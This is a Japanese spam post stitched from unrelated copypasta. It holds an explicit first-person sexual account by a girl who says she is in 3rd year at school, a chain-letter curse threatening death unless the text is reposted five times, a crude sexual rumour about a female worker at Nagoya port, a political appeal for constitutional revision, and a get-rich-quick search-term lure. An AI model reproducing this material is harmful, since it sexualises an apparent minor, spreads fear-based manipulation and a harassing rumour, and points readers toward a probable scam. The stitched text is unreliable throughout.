法的措置にでますので厳重注意を行ってください。
わたしには彼氏がいます。
彼とわたしはデートの時、どちらかの家に行き、
だれもいないとき、部屋で横になって裸でだきあいます。
それがだんだんエスカレートしていって、学校の体育倉庫で服をぬがされ、まだ3年生ですが、
学年で1番大きいおっぱいをつかむように触られたり、しゃぶったりされます。
最初は苦手だったんだけど、だんだん気持ちよくなりサイコーです。
しかも、わたしは学年1美人でもてます。
彼も同じで、美男美女でよくみんなにうらやましく思われます。
: : このカキコ見たあなたは4日後に不幸が訪れ44日後に死にます。
それがイヤなら、コレをコピペして5ケ所にカキコして下さい。
わたしの友達はこれを信じず4日後に親が死にました。
44日後友達は行方不明・・・・。
いまだに手がかりもなく、わたしはこのコピペを5ケ所に貼り付けました。
すると7日後に彼氏ができ、10日後に大嫌いな人が事故で入院しました。
: : 信じる信じないは勝手です。
名古屋港に「Oh!下かな?」の合言葉でやらせてくれるおばさん職員がいるよ。
☆ 日本の、改憲を行いましょう。現在、衆議員と参議院の
両院で、改憲議員が3分の2を超えております。
『憲法改正国民投票法』、でググってみてください。国会の発議は
すでに可能です。平和は勝ち取るものです。お願い致します。☆☆
―――♪♪
知り合いから教えてもらった簡単確実稼げる秘密の方法
知りたい方だけみるといいかもしれません
グーグルで検索するといいかも『金持ちになりたい 鎌野介メソッド』
INAJO